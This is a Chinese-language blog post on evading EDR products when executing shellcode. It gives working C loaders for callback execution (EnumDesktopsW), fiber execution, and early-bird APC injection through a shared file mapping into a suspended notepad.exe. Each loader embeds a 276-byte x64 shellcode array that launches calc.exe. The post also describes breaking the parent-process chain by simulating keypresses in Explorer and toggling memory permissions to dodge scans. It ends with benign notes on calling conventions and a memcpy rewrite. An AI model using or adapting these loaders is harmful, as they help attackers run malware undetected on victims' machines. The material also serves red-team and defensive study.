EDR下的线程安全

文章目录

- 前记
- 进程断链
- 回调执行
- 纤程
- 内存属性修改
- [early bird+Mapping](#early bird+Mapping)
- 后记
- reference

前记

触发EDR远程线程扫描关键api：createprocess、createremotethread、void（指针）、createthread

为了更加的opsec，尽量采取别的方式执行恶意代码，下面简单给出一些思路

进程断链

c 复制代码

#include <windows.h>
#include<iostream>

void SimulateKeyPress(WORD keyCode) {
    INPUT inputs[2] = {};
    ZeroMemory(inputs, sizeof(inputs));
    inputs[0].type = INPUT_KEYBOARD;
    inputs[0].ki.wVk = keyCode;
    Sleep(500);
    inputs[1].type = INPUT_KEYBOARD;
    inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
    UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{
    // 调用 ShellExecute 函数，执行一个命令
    HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
    if ((int)hReturn < 32) {
        printf("0");
        return 0;
    }
    printf("% d", (int)hReturn);
    HWND hExplorer = FindWindowA("CabinetWClass", NULL);
    if (hExplorer) {
        // 将资源管理器窗口设置为前台窗口
        SetForegroundWindow(hExplorer);
    }
    else {
        printf("Explorer window not found.\n");
    }
    SimulateKeyPress(0x32);//这里以ascii为参数，实际为'2.exe'
    SimulateKeyPress(VK_RETURN);
    return 0;
}

通过模拟键盘点击，完成进程断链，父进程为explore

进程断链相比于父进程欺骗更加安全，但是在核晶环境下会被禁止模拟键盘的行为

回调执行

回调可以很好的规避EDR对远程线程的内存扫描，举例如下

c 复制代码

#include <windows.h>
#include<iostream>

//calc shellcode
unsigned char rawData[276] = {};
int main()
{
    LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(addr, rawData, sizeof(rawData));
    EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
    return 0;
}

纤程

纤程允许在单个线程中有多个执行流，每个执行流都有自己的寄存器状态和堆栈。另一方面，纤程对内核是不可见的，这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

c 复制代码

#include <windows.h>

void like() {
    //calc shellcode
    unsigned char rawData[276] = {
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
        0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
        0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
        0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
        0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
        0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
        0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
        0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
        0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
        0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
        0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
        0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
        0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
        0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
        0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };
    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    CopyMemory(Alloc, rawData, sizeof(rawData));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main() {
    like();
}

内存属性修改

内存属性修改流程：RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可

early bird+Mapping

early bird，APC注入的变种

Mapping:内存映射

创建一个挂起的进程(通常是windows的合法进程)
在挂起的进程内申请一块可读可写可执行的内存空间
往申请的空间内写入shellcode
将APC插入到该进程的主线程
恢复挂起进程的线程

c 复制代码

#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")

void mymemcpy(void* dst, void* src, size_t size);
int main()
{
    //calc shellcode
    unsigned char rawData[276] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
    STARTUPINFO sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };
    sInfo.cb = sizeof(STARTUPINFO);

    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;

    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
    LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
    mymemcpy(lpMapAddress, rawData, sizeof(rawData));
    LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

    QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
    ResumeThread(hThread);
    CloseHandle(hThread);
    CloseHandle(hProc);
    CloseHandle(hMapping);
    UnmapViewOfFile(lpMapAddress);
    return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

后记

传参规则

c 复制代码

#include<iostream>
using namespace std;
void func(int a, int b)
{
	cout << "func:\n";
	cout << "a = " << a << "\tb = " << b << endl;
}
int main(void)
{
	int v = 3;
	func(v, v++);
	cout << "v=" << v;
	v = 3;
	func(v, ++v);
	v = 3;
	func(++v, v);
	v = 3;
	func(v++, v);
	return 0;
}

func:

a = 3 b = 3

v=4

func:

a = 4 b = 4

func:

a = 4 b = 4

func:

a = 3 b = 3

函数声明区别

__cdecl:

C/C++默认方式，参数从右向左入栈，主调函数负责栈平衡。

__stdcall：

windows API默认方式，参数从右向左入栈，被调函数负责栈平衡。

__fastcall：

快速调用方式。所谓快速，这种方式选择将参数优先从寄存器传入（ECX和EDX），剩下的参数再从右向左从栈传入。

在x86下出现明显特征

    19: 	func1(4, 5);//__cdecl
00981B31 6A 05                push        5  
00981B33 6A 04                push        4  
00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
00981B3A 83 C4 08             add         esp,8  
    20: 	func2(4, 5);//__stdcall
00981B3D 6A 05                push        5  
00981B3F 6A 04                push        4  
00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  
    21: 	func3(4, 5);//__fastcall
00981B46 BA 05 00 00 00       mov         edx,5  
00981B4B B9 04 00 00 00       mov         ecx,4  
00981B50 E8 2C F6 FF FF       call        func3 (0981181h)

自实现copymemory

c 复制代码

void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

reference

https://www.cnblogs.com/fdxsec/p/17995030#1winexec
https://github.com/aahmad097/AlternativeShellcodeExec
https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9